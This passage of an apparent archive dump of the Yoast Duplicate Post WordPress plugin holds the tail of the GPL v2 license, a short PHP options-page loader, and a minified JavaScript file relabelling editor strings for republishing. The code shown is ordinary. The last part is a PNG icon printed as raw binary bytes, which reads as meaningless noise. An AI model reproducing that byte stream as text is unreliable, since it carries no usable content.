    years, to give any third party, for a charge no more than your
    cost of physically performing source distribution, a complete
    machine-readable copy of the corresponding source code, to be
    distributed under the terms of Sections 1 and 2 above on a medium
    customarily used for software interchange; or,

    c) Accompany it with the information you received as to the offer
    to distribute corresponding source code.  (This alternative is
    allowed only for noncommercial distribution and only if you
    received the program in object code or executable form with such
    an offer, in accord with Subsection b above.)

The source code for a work means the preferred form of the work for
making modifications to it.  For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable.  However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.

If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.

  4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License.  Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.

  5. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Program or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.

  6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.

  7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all.  For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.

If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

  8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded.  In such case, this License incorporates
the limitation as if written in the body of this License.

  9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

Each version is given a distinguishing version number.  If the Program
specifies a version number of this License which applies to it and "any
later version", you have the option of following the terms and conditions
either of that version or of any later version published by the Free
Software Foundation.  If the Program does not specify a version number of
this License, you may choose any version ever published by the Free Software
Foundation.

  10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission.  For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this.  Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.

                            NO WARRANTY

  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.

  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.

                     END OF TERMS AND CONDITIONS

            How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.

    <one line to give the program's name and a brief idea of what it does.>
    Copyright (C) <year>  <name of author>

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License along
    with this program; if not, write to the Free Software Foundation, Inc.,
    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.

Also add information on how to contact you by electronic and paper mail.

If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:

    Gnomovision version 69, Copyright (C) year name of author
    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
    This is free software, and you are welcome to redistribute it
    under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License.  Of course, the commands you use may
be called something other than `show w' and `show c'; they could even be
mouse-clicks or menu items--whatever suits your program.

You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program, if
necessary.  Here is a sample; alter the names:

  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
  `Gnomovision' (which makes passes at compilers) written by James Hacker.

  <signature of Ty Coon>, 1 April 1989
  Ty Coon, President of Vice

This General Public License does not permit incorporating your program into
proprietary programs.  If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library.  If this is what you want to do, use the GNU Lesser General
Public License instead of this License.
options.php000064400000001015151327062330006747 0ustar00<?php

namespace Yoast\WP\Duplicate_Post;

use Yoast\WP\Duplicate_Post\Admin\Options;
use Yoast\WP\Duplicate_Post\Admin\Options_Form_Generator;
use Yoast\WP\Duplicate_Post\Admin\Options_Inputs;
use Yoast\WP\Duplicate_Post\Admin\Options_Page;
use Yoast\WP\Duplicate_Post\UI\Asset_Manager;

if ( ! \defined( 'ABSPATH' ) ) {
	exit();
}

$duplicate_post_options_page = new Options_Page(
	new Options(),
	new Options_Form_Generator( new Options_Inputs() ),
	new Asset_Manager()
);

$duplicate_post_options_page->register_hooks();
js/dist/duplicate-post-strings-440.js000064400000007746151327062330013432 0ustar00!function(e){var t={};function o(i){if(t[i])return t[i].exports;var r=t[i]={i:i,l:!1,exports:{}};return e[i].call(r.exports,r,r.exports,o),r.l=!0,r.exports}o.m=e,o.c=t,o.d=function(e,t,i){o.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:i})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var i=Object.create(null);if(o.r(i),Object.defineProperty(i,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(i,r,function(t){return e[t]}.bind(null,r));return i},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=8)}([function(e,t){e.exports=window.wp.data},function(e,t){e.exports=window.wp.element},function(e,t){e.exports=window.wp.components},function(e,t){e.exports=window.wp.i18n},function(e,t,o){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.redirectOnSaveCompletion=void 0;var i=o(0),r=function(e){var t=(0,i.select)("core/editor").getCurrentPostAttribute("status"),o=(0,i.select)("core/editor").getEditedPostAttribute("status");"dp-rewrite-republish"===t&&"publish"===o&&(0,i.dispatch)("core/editor").editPost({status:t}),window.location.assign(e)};t.redirectOnSaveCompletion=function(e,t){var o=(0,i.select)("core/editor").isSavingPost(),n=(0,i.select)("core/editor").isAutosavingPost(),s=(0,i.select)("core/edit-post").hasMetaBoxes(),a=(0,i.select)("core/edit-post").isSavingMetaBoxes();return s&&!a&&t.wasSavingMetaboxes&&r(e),s||o||!t.wasSavingPost||t.wasAutoSavingPost||r(e),{isSavingPost:o,isSavingMetaBoxes:a,isAutosavingPost:n}}},,,,function(e,t,o){"use strict";var i=o(1),r=o(2),n=o(3),s=o(0),a=o(4);var u,l,c,p=function(){(0,s.dispatch)("core/editor").savePost();var e=!1,t=!1,o=!1;(0,s.subscribe)((function(){var i=(0,a.redirectOnSaveCompletion)(duplicatePostStrings.checkLink,{wasSavingPost:e,wasSavingMetaboxes:t,wasAutoSavingPost:o});e=i.isSavingPost,t=i.isSavingMetaBoxes,o=i.isAutosavingPost}))},d={Publish:(0,n.__)("Republish","duplicate-post"),"Publish:":(0,n.__)("Republish:","duplicate-post"),"Publish on:":(0,n.__)("Republish on:","duplicate-post"),"Are you ready to publish?":(0,n.__)("Are you ready to republish your post?","duplicate-post"),"Double-check your settings before publishing.":(0,i.createInterpolateElement)((0,n.__)("After republishing your changes will be merged into the original post and you'll be redirected there.<br /><br />Do you want to compare your changes with the original version before merging?<br /><br /><button>Save changes and compare</button>","duplicate-post"),{button:wp.element.createElement(r.Button,{isSecondary:!0,onClick:p}),br:wp.element.createElement("br",null)}),Schedule:(0,n.__)("Schedule republish","duplicate-post"),"Schedule…":(0,n.__)("Schedule republish…","duplicate-post"),"post action/button labelSchedule":(0,n.__)("Schedule republish","duplicate-post"),"Are you ready to schedule?":(0,n.__)("Are you ready to schedule the republishing of your post?","duplicate-post"),"Your work will be published at the specified date and time.":(0,i.createInterpolateElement)((0,n.__)("You're about to replace the original with this rewritten post at the specified date and time.<br /><br />Do you want to compare your changes with the original version before merging?<br /><br /><button>Save changes and compare</button>","duplicate-post"),{button:wp.element.createElement(r.Button,{isSecondary:!0,onClick:p}),br:wp.element.createElement("br",null)}),"is now scheduled. It will go live on":(0,n.__)(", the rewritten post, is now scheduled to replace the original post. It will be published on","duplicate-post")};for(var b in d)(0,n.setLocaleData)((c=[d[b],"duplicate-post"],(l=b)in(u={})?Object.defineProperty(u,l,{value:c,enumerable:!0,configurable:!0,writable:!0}):u[l]=c,u))}]);duplicate_post_yoast_icon-125x125.png000064400000044553151327062330013462 0ustar00�PNG


IHDR}}��l%*8zTXtRaw profile type exifxڭ�ird����s��a�x���V�����U�*)��s�V�
����ެ�R�h�Z�x�4�bğ}��L|���F��?,������������m��B�׻��~?��?.�~��z����B���<�/��|�X��~�z��k����F����R�9����w�?���ƿ);�1�L>+�����x���_w�4�cs�~?�
 ����<�ua���ҵ�?����9��޿?��#|���q���ڿ��Z��V��_&��__�>�J���w�{�{F����W����zaZ�}Ÿ_����_^�{��^����5%������}%-K��B�~��*��&�u�L�??<j�;��ի�K?���wj}K��w��������lpˉ�	V�u�\ߚͤ4��kk֓��e+��Z�9��SM/����Q{ü�i�#sKj5��R��V���{��� �7������T�s��+��h�>;C���1\r�)S�ef��3��k��}/�3�FC����vx��js�~�Χ�S_̥Uf${YI�9��kZ\�l̬�6[6Z��n���b,e�RC*�	��{��Ɠ�.��n����i�9�M��B��{X]��kNi�Y�ih�w�bm�]׶���=y�ɼ�X��F��f]o;c��7K�J�a��k|�q�r��Y�Oe�a!k���f?+Y�~�(�}�9��a��oh�]�Ňa����:6/��:.���1g��|i����''7��}�qz�,r9Ŋך��}�N�°Al��4sr���<�x^�^{�^�m����q޾�)-���t��ݏ��\Rf8��\�)`V:3TxU��ߞ�#���XZ�Ͳ�\�a���j�1�MC��6���=�x��2-��L7b��ln�p��紛���
�������QIߚRӨm;�M���
���myA��y�����m����ݖ�˱���R�1E��7�۽�W�X���������'���� ��m�ȴ)�j&o�y�ұ�sH�-��x����㉱�_�w5fa��w�3��ٺ�r�;�KF���su��O�M���]b��{+���7u\eU`wn��%@c�*,"�B�z��y���_�Ej�<�u*+/��b���E��b�f�W�Dz�鵺j��/�0,�r��m�ΘX������v�+��j09�d�	��n-�n��t"�q{M�7@�0�!ϛ���
9ؖ�PM��ߙ��ׁ������ަ}щ��3a�)NԳ���y�̋:-�q��N�J���h<ļ_;��	��Z
��7��=B;�
��zjۗ7�Bf,����ܑU.N\W�og{�喬�e+�[�����'��hi�9���ȱS���,��";D?�	��z�O��Dw����{M�v0q^u)����V����cT�[�G>�#	�ң������}�Շ��>��^������D_�
	�nM�w8�=8���SW����T��5@���5�o�^	����JsM'H���'1��;r��_���N���i��[�����y
��և���m���<X*f��ؔա��^�m�$�N��&K�>;2A[�����t��
��w๗S���@D�}Q10A����4���\���
�kkt,�+�d��#T�3+��荘�q�9������3�]Lm�����XӾ�;�j�,�C��;KG3�T�]F>^��q�;��P��1�L'�fϓv�3���1���)0�KQ���F�+��� 3���*R�s�k�װ׊W�0�s��(?̱5|�C����ƈ��'2�%)�'�G�u��P&�u����$>;�~ʭ�$6D#�sF=e$2"�#���6{,�Ct��d0b@.��:�ܻ��7���1�0�?\�� ��w�D ���cHE�`ʀ��0���Y-��9oB�L4�
H��a�A*eA,�9�k���F�56� w��΀k��<[��3<�itţ��l7�$ڠ�
[#lH�7y���f�s*yE'4�"-��92k�G�Y�螲	4^Z��.�Sj	�1��	������v�n ��Ȭ�3a@Ћ�B��W�‰�6�J����@rp�Fc���M@xK�:#Ѡ~�"���?���H6�9�8��N���Y��!���0
����'.��h�}%l����V\?�����д�}��4�m��V��(�‘s��oAI\�����A!o�#�a"��D����l�B�EZ�q�t�y!��Q5�� F}�0`D�h��)�݇��v�.a��fS��Abp��G4إ2���M���S�t��'eg��-�"5�I�B��\���"��8�r�5BAq���K/�,����"xN���#��V��Ȅl��&ɐCZH܃h;$

|�m(?t�˄̾��ɤ��K�BQ�Ej�v��x|������Л,"+1�@P���pt��
D"�WA���$�I�'N���X8�qpV�jxiHpo@a����M�%��>�I��]NT��.��,������4/�s��ٱMLK�"��-�Z9dvK��?��s�����	�dA��pBXX�.��P#-Z�ep�d(b����p��\���6��XOM�
��Y��e����GZb^��7����h�gB�5D��-}�T��,��h�B��2���zG�,��?�3n�� ����A	�����u!s�i�/�դ���%�H.h�O�-O�R	?G;��%m�yA��
yH�����٣{����<y �E$8��τM����
؜C+����L�} %Ʌ��b� fA�:V("Y\���3�x3���x�H�-�˚�/ro��P�sX%c*���H���a"x^�,OA�0�a>0*\�Rp�qA9XI����;ʿu�B�X(D���{į����u�
߀��W��D�`��8��`���5F�K��;⎠'I�Nq�dd�p�*A��D��1�\��K 'D1 yb�Ч�
iN�?mbf��0���� Sn�+~��[L.7[/*'�B
�X6�;�,�U�2m��A�D!�.���j�5�az�AI��zp�r"���#�$,(}���M�o����p�h����ُ�V�OL�9Uy����z_�
�׷���IKS@.�M8�.uWhV�����qCڝ�Ō�Db���?��o�>�F0�b@�x�U���ZH��m�o�\�7����nI�%�@�׶O��`P�I��
<17�$���w�ka�Q��"'�`�_n��.�r��c�$��)�\�B�_�d���@�r�4k"�؇@j���|$~bt�_�,������T���$�Zm�]��Bܡ���_jf��+��xF�S����|�T�JvL�!:
_��t�)~:�� Ց#���`r���m,��e�*��n��i�y����p����l�4O�&��]hNO�a�&O�
��p� �Hi|�����S8KVy�[G+,΀i�J���z4���8�'
�~<�J�e�*Đ"���pgTI��|{�oǍ�"��4d�DF���
��_�C�/c*��4�L���1p;�Ѝ�����/��Z���>�R��hnV-��M�4D��n˟���A(5D�ʭO��N�+���2t#k	��:����&��
,�6�ƌ�:w�A�B�_Qy�2Ը)��0�I"�Â�|���A���u�rnT����5)/���V��;���۝!�W3�`���4pB�r��.��F�Ag�Q������i#D_�����`H���y�5��c��L9��1�z`1ގ���2�6�F�)@�0�v���#���em0���;
�J�h�+����aƠ�R�m���F��؎t�'Q���J��� ֓�r`�Rq�#��3"��>1�]J�O�"�.)����7r�5A�u0�\!cB��A�Sx�>�?���+m��y�8%0�3���*�r�jr4�(,#I7Br��= y�#iz�\����|�&�q�PzD�q�9�̸��*/��a�Qx%T�Z*�V?��!���{J��)"JY��Q�4��P���	�:R�It��G]o���rG��O��tH/i��#p�H@��ؙVL
�u��Z�}�J��0�m�����9������F1����.�2�(Vh�i���b`�
2�M�N��^d��8%���9�u�*��h.�5�5�.�]rh%�VcUP���B�0���IR��z������qܭ9(��q�x
!�(��0w�a|}_�	E�A2��z̰��܄:kQ�uD8o�­�� PaTɪ`��V9�}���=E�om�Á���*7�������:#Z�4 ��d]�4�`�6�JX/U2�����0
��U0��H��/O�Y����	1�\�m�g�u�l��e
����@�%䂻���eH9��#4�ӡ���<"7�Yaׁ�^�԰��<v|Jo:W�@���)�ՄI�ӊ*Ҏj�h]Zy%�6@
�K��R��P�5Ӗ���͆��h
�2��w� +�E�U�d����cT�޿����o��x�4�DTy>�mq�:̂>Tc�- :�w�H&e6�}��E�sU&�`J�,{[{x�M":\m%n(��	ۤ�>/O=��K�v|��nn����)3�u+�)#յ}���Ց�DpIԳ�*ϻ0�xǩE=��c< �jPɉL��E)�}�z�{ ���]xd�{C0��WCړOPX���Q@Q����"��p�w�䝥�T�#�o����(�J��c|9�ԞdR�	�g%�\�,z��� ���uEJ�!�?�]��h�NԮ51��Β���W��S����_�=�έ��n]{5�T�[bJT��L˯�Eyy����o%n�f�T�}Uq�s��.S�OY1�T_��9A���Fze�Y�௺ᵡ9%��׻�-LB��T��cQ��tFX�?b�����)�Y/C[Å`�@yƟM�� J����ȷ��m��l�
�mq�A�N��7�1�"�f��c>������!N:F
�5���۠]э�#*��*:.;u��+"�>�pwP?�wC�i	����%Fr�$�^ܐ�Y�&fb#m���I��2.ig�f�������"{ ��B@E���
Su��)�a�TjE����LG�0��l��tI_�Ɲ�t�B�@�J��!�^n�{j�ߖ
2�2o�Z��$���!!��2\��Ǡ�>V1<��!d!�f&20G���G��.�k�]o��j�E�.�?S�]�5L�r�8���*��Єo%�^S�uV�n4&	�K����"�c�څι�	4U��-��&��r��O�g�2Љ/RcCAA�^K���
П�7$k�j[x�?��'-�O�FK@��%����p�m��1�sMz#�R��1���Q�5Ñz<�դ%Sk�	��j��F�"w�
�.�K�P�+e�o򮖻�T��“Z�7֐�?����-Q�$�j{o������L�V{z��dN�#�4�?c��$�Um�m"F��
p⮩)#E�=	��ofrT�(�R�W���	jfA�VE��S�3GEy\$��(Ϊ*a������t�*���60%h
�������Nj��.XM����:��Ҫ!eU*@�W0tDG��Oa�B�~���$#��S0d�˽
q*9��`m��|�y_��.ѐ�W��>��6H�bp~5���Q�F��FB�i��Q!���eb���1ȁ��W-�ۯ�`���A�^_�O␔3�*~�Lʫ�3�"�\P_�D�_��C%�xj,�6Ѹ��!8qt�~�L�TJ�Yg�Lh�S6���‰�p�m�
�����ߦ2�� ӌr�hx��ڮX� K���� ���ұk��r	�X��Z�j~�&:ه�F
�����#��ǽ�<�Z�FG$���mUŋoi�gx1[��Wƿ�PrC�9>/��z��������ûoxêJ�H�%]��2։iXIl�Wsm�զ]Ut2ֵ):�ʅ���"���7T2�R�4�bz;8?X$[d.:NPz��Zy\.��c��sk7�)�s!�;�Ů}��
�8R�,ŷ=��Fp2��)����D:Ѐ�̠
�g�ֽ� ]n��*�ME[�D�JW���K�GO�:��XU���� �M|$0��]5'��5Я톪�8,sDMm�ޔ��|��ӂ����U��z�upU��6W��=9u0�'M�F*��u���N!օM%�% �Q
3��jhTm^ځ?%k��:���������l:�
���6��HYUY0�)�9��j5��R���A�4�ZKj�Մ�-a{���x0М��oߋqG�/���e���B���%����8P��	o�5���O��apd�J�
H|��<�A�L�Is��>�F��KtTx77�eL$>6��,M��-�cR���>V��g��Q@�,���
 #d$�T%���e�Q_�%�]�"��:.]
ϡ��|?�܁��sd�?k���K̈��������@c!�
����G<�� ��������Xc�l�U�w�!C�<5�4�Y
p<b�^Q�M�������+�/p
K!����kU�;�O�8��j��-j6��UŘ�*�W5W�܃�j�J�#���-W�5�SM����U
X=���ͱ�69���	#F0�">��wP#ԣ	�pa�r�y`h�W�lO^jD�Ak�L��aa^�P���:Tx�m��M�Hl���Њu���*E�e���9�ks��N�&
M%��Ҟ>T+J�.դ+!y����s���?���p�nH=
s
!Z0V�e��� �
vb_@�Gm�,��+��e/���BAƬ�8S���q��_�6��G0픪�͛�A�x$^�å2�֜ IE��=`&���wМ����=o�6�k~ �"B�Hb)L�HU[b����p��`��S�J�P��A�^�5�
٩60p�#���((D:iߜ?�j�@ASgbhf��y1e7�j�g×<�a�
!�X��{�D]������
S[�P��j� ���j��ك��F��{K�*��a�|����i�;�(���ƭOĥ#��;�ň�����!@��?X�PTW�G^w>�
c��P?�e2J�,���������_���7��k�Kjy��Q	�u�Û�K�#�f��/yN}&���]DG��<^�Z��R�J���\�q��M#������(Mց��\���nb�����F��,����-uL[`����=f�n��4�ND�e�K��a��Ϭ�L�21�o���[9r�rT��DUX:2(-���:5v���g�ԣEf5_Mp��niu�W�L�:0��BFeTy�I���;�E'�HX'�xa��Nr��[6`��#X��@���qԾ0ZڤKj{���2�_P��j�YCެ��JX/"ɯ��.U/���E��T�FUK*$�fX��]�o�Ւ�͒B]��t���-A:��"'�_7���@d�Q�8�
r+K]&dT����;K'��[{7��xڅ��Q�Bl�Ӏr�j�`r��_�6Ӽ�g��jɬ�I��~��\O�I�"i-"|s���׈����S��@p��9���"�l�n������N
�i"�ʷ'�$�{S-����#�^�d<h&���kj�H�;PtT��{"�u�k����@d�W[�#»���ӫD$ *�[]*H��Ƽ�o�i
Glr����蟐�M�'���2��ϻ�2�U��j�W
�`�?�s�fBq�˾�p��2u~e�"�.<>	n��6a��I�VT)%0l�L)MZd�e��%�Q���,C9p/>�3�s�(23M_�d$=7o�[�n��8V����
Hw�jWV�V�-����n��Q]I�QNL���e���U��VP�:8"ˈ���Ѥ�5L�#��φA�xd� S��ׅZ�c����5�����k�UG�I=1*�#��7��������&IUP��RIC��Mt��L�C��!v��$
�$���%RҵO��n7.��r@�Mi�A�98�B�p��S|N�:��`e����m��O�BR1P4�T�&��B����12)آ�l�)��P&:����^B_nQ��O�@�G����
i����cc�>C����O��D�,���.��v�ի�wA�"^���K�d�Q娙D�U�T�G���|��'�wj��t��x�����ڜ�ծ�eҵ��
JMKRup(n<T����%���$��U�o\�8j{Ϫɦ	��=*�Щ�g�pW�(x��'��fS���lX��E.͇�SI#���kmY��fb�!���B�ڼ^�U��g�t@�8$	jj\UXֶ?R�2��u�@���eV#���m]jQ���^Y�w<����5�8?��DV��}1h�y�7���O�എV�c�VcjWW4�KR�oU���_�حĔ�jl��x�������l�,�PT�ပPد��8C��Z��M���Zp ӂ�`�1���k
�K�uy��7���<F,�<z�s�|W�ki��Ğ���y-%0x��қl)�zڡ��e�p���}��	!w�2%7`UX-�@�4�+���R�'�0T��'��n�)�U�'����i�Q�?sA���6�B�G�}��O�9�Oc�rұQm\`�1_
"����;���iK����Xa/	]��7�q
[=0��w<��R��fV�$�V{�,��Y��������py�;tRO:���p)x��=�Y��u����tP'���mR��/ɛ�6A#|�(0����/��O�s��x'�B�Php��<u�2��rI4�'Ll�Ż�aᏖ�[�'��{�7��&i��2C-�ܐ� <��3�F}���%L$W��#I:��&*qY��N�����+O�"��7}���u,mVR��l��B�X�u�.�N6i���C^a�Ƿ	'G��W:p���8V(maB�K�UvD�&&l}Ͷļ����
�j�APT�QA�E\e^�~��ɵy�� ���v��N���]|�PS�g:�4��8��2*��)�\��Ta�Ϡꁫ�c�ʣ舱5�	����dp_Es������������Gn<u�?<ʜm]|�:�H�v��W�B��u5�����h㑼Ȱ�*k?�m)d��tt�
FѾn|r��?���٥}����U����޴�{��"w�����xfVih�y��v} ���|��V'5H��SK��y�2�E;�&�XU�Z����tvG�׷���3�����w7��
�u4mkU����~����0�k�tVB]=U�)�����6�Gj���֙\�����Hnc� �B��~���Z��}�N������edYs٢CM�9����#8�j����R:��P�(���rh�71�K�/�4�yR��t�j�h�s��ҳ�u 0'r��;�!bU�	w�S4#���utV����Q8S�ۗK�_|��<�P�ώ^Җ��
�EmaM��H�0��_�t�=��]g�����)&�:�D�uEXdeI�2$H��ž+�Y
�bPZm�PSE��]��=��fM�𫌎��C'>~�ѻvTt܍���R�Q�~���?=z�Lz��?"���vV�S�U{p�]�7z5��ɁǰM#��4�>�*X��݌����O��w���y���e�0�U^:��_	)�/�C�PZx
F�&(�5t��L���WܱBF��3�2^�)O%��6'��TZ�
�PQB0g��y����
uB�>m(�_|�ӽS�0pG�5���&џ�W��(jϛ`�8�_\R!v.{��#�:�������F���m�S�U���c�φ��:ڎ:C��8 <O|hu�RW��%~F~�`�t�h��M�y
�Ӣ�{账_��#�5���EK2TEjx�*�����0T�Qm����j@f&��H���xs}�>D�lE�8
<_��'c�Z�0�H?bSG���&���ߡn�V8[d���~��ǽ[�qD�V<��E 2��A���d	�u��*ũ�"�mnm&U5�Eس�W%�!n'���yrӯP��
k*(��_,�
u�>]��dk���#��n��[?�D�n��X����#G���h���lՕ�N̚�9�˗t</�p7�O����u�A�����<(�nHlW>��q����db��5N��R���6Ԩ)<V�=`k���C���h8���Ԣ���B�o'/��ttQE�m�sUI+�D!��}����Bk��]��t�?��ﳩ߷@�E�>�(�������F~�
�?�Յ�f��}j���m�+qC�Z�d	Qc���>8d�żδ���ov�z
;I��:\�Z[���ۢM:�pW_�r�;-�[G�n�W���W�m���XbA�`�_XҦ;2�I{̠ix�6^hU�P���g^r��"B�w~��jW�߁���ƌ��8������:)�=U��P�T�=JH���8)�t�|C�:��7���O�sBIT|d��IDATx��y|�չ�k�Þ2'$d �fDQT���O[;8�ν�9�=G�q�mzmOk{:�m{zmm�=����EZ�H[d��$�9���u�x߽�`��$$���g}�����[���z�Z�A�U���q�
�{K����j��Ea2ֆ�i�#�Yi�����yW�u?��F�uq����_��Zb0��.tK�=��6-�
)��0���Cf��@"��vPZ�Z<�Q�>��+���A�h���[*�&Lq����F �jW�h��.���6�������0I��_jG�_�z<~�7y"�N^}��Ҕ�ۆ}�@B�\G;)��@�1����<s����a�&M��-�w��c�W�J��S��U��s��wLiݦqQ�ux�|���0�J>j�ݟ��o�
���@.���;�с��f�ʤ����˱g;�ɞmɀ�p�k����Mǻzq<�7�ޝ�㶴�L���{��~ג#�k��}���<��x����b�/�O�ܘTq�S�`b��$�K�ǖ��B��[K��-���AO���57��e�qt2e�'|N
PB���b�w��O�\3��)�*Sڳ��mz���W�J��Z���ꮩ�0�J)�v��b�\�H:�s�$�Ψ�v�0P��	�(|}�x)��j����_ݶ�U2�a~�6삤���q\�8'��,��������V#M�����`���{/Rk׵�@A>ܖ&r��r�@4����\)��}��>��y��<*@�_���g~@8'̶�-l��H*/�e��k�@����ǻ��Q��Z2�������J���#�+�E+��'T�âo��3-z��BU�<��ʒ���� �����b�X�j���?|}htC�Ɠ�וq�C�dƬr���/�k�j�Xyk��Ra/BT+�j2\�R�t��*/`�>��Ü#h�^H�]-��V�K�!Xj
S����Od�֚�	E,�yq5ӣG	��m��MaJC�T*ͼ�O^��`�UDJ�X��'�~q
3��6�Ed��k�f����ujzttފ�hW�U��zK)�J)�c�C��YK��s���3x�Jk��F��@��l���'��ށ����t	���[g��uL�j""U&/4
4�L�(.q���s�����V�67��e�%���a��}(��3\���}��?�{�f^��t)��ά�'�9�kڴ�l��8��9a�=�_>�+�oP��o�b����A�?`�z�2��_�˅GZ�d�ӥD�	8湶�3��o���]
4o܅	�Hàz�<�ex.�w���<B�rx��=q Siٔ&���G�J#È�y��ӫ�;S����|�رN�0n,I�������V����+���w�]uR��]��^}��lzl=2�j�ʹS@Ďv�}��<�Y�v\�kJ�gqp��5p�	JO!RZ��p���VVp�&`e�ra;�Bв����}��/m��y^�#!��4x��wmj���A�(��E��$�bl��/���bJ/��]\��o0^H
/�3�Y|��Yw׏�s���|EVc���J#�S&��מ �#�!�#r%��6wмq;������_�}>���;������_���|��+g��K��{��LvE9�f��e*�Rq�,�"���O����o_���j޹��cżC���7���ɫ+�o}3�G����}Ө��4n�E��Ø�t	�E��jv�E[�!>p�
-l|�q�.�N ?�/Ɵ�M��{�}m/���ϬX��\�Sф��u�k�i�.�_�Cӆ��n��5!�(miJ�!9��u�XaJ�X�q�k)�6��&U\B0��i����b�҇�����;+H�0���B�ᗶ�}+;D�=J�s�7?:�m���m�Q3����ͅ�
